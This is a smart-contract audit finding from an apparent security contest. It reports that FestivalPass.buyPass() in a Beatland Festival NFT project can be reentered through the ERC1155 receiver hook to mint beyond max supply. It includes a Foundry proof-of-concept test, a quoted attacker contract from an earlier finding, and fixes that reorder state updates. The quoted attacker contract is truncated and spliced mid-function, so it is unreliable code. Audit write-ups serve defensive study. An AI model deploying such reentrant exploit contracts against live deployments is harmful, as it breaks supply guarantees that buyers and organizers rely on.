Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

ERC1155 receiver reentrancy can bypass pass max supply

Root + Impact

Description

  • buyPass() checks supply, calls _mint(), then increments passSupply

  • ERC1155 minting calls the receiver hook for contract recipients, so a malicious receiver can reenter buyPass() before passSupply is incremented. With maxSupply = 1, nested buys can mint more than one pass.

@>FestivalPass.sol[line74 - line 77]
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];

Risk

Likelihood:

  • Medium. The attack requires the buyer to be a smart contract that implements onERC1155Received, and the attacker must pay for each reentrant purchase. However, this is easy for any user to deploy and execute because buyPass() is public, ERC1155 receiver hooks are standard behavior, and no privileged role is needed. The impact is bounded to breaking pass scarcity / max supply rather than stealing existing funds, so Medium is a good severity fit.



Impact:

  • pass scarcity caps can be exceeded. Buyers still pay, so this is not direct fund theft, but it breaks a core supply invariant.


Proof of Concept

The malicious receiver is ReentrantPassBuyer at [test/FestivalPass.t.sol (line 10)]

function testPoC\_ERC1155ReceiverReentrancyBypassesPassMaxSupply() public {
// Limit VIP supply to one pass.
vm.prank(organizer);
festivalPass.configurePass(2, VIP\_PRICE, 1);
ReentrantPassBuyer attacker = new ReentrantPassBuyer(festivalPass, 2, VIP_PRICE);
attacker.attack{value: VIP_PRICE * 2}();
// The cap says only one VIP pass should exist, but the receiver hook
// reentered buyPass before the outer call incremented passSupply.
assertEq(festivalPass.passMaxSupply(2), 1);
assertEq(festivalPass.passSupply(2), 2);
assertEq(festivalPass.balanceOf(address(attacker), 2), 2);
// Both purchases also minted the VIP welcome bonus.
assertEq(beatToken.balanceOf(address(attacker)), 10e18);
}

Run it with:

forge test --match-test testPoC_ERC1155ReceiverReentrancyBypassesPassMaxSupply -vvv

Recommended Mitigation

Update state before the ERC1155 mint receiver hook can run, and optionally add a reentrancy guard.

Current vulnerable order:

-- require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];

Safer order:

require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!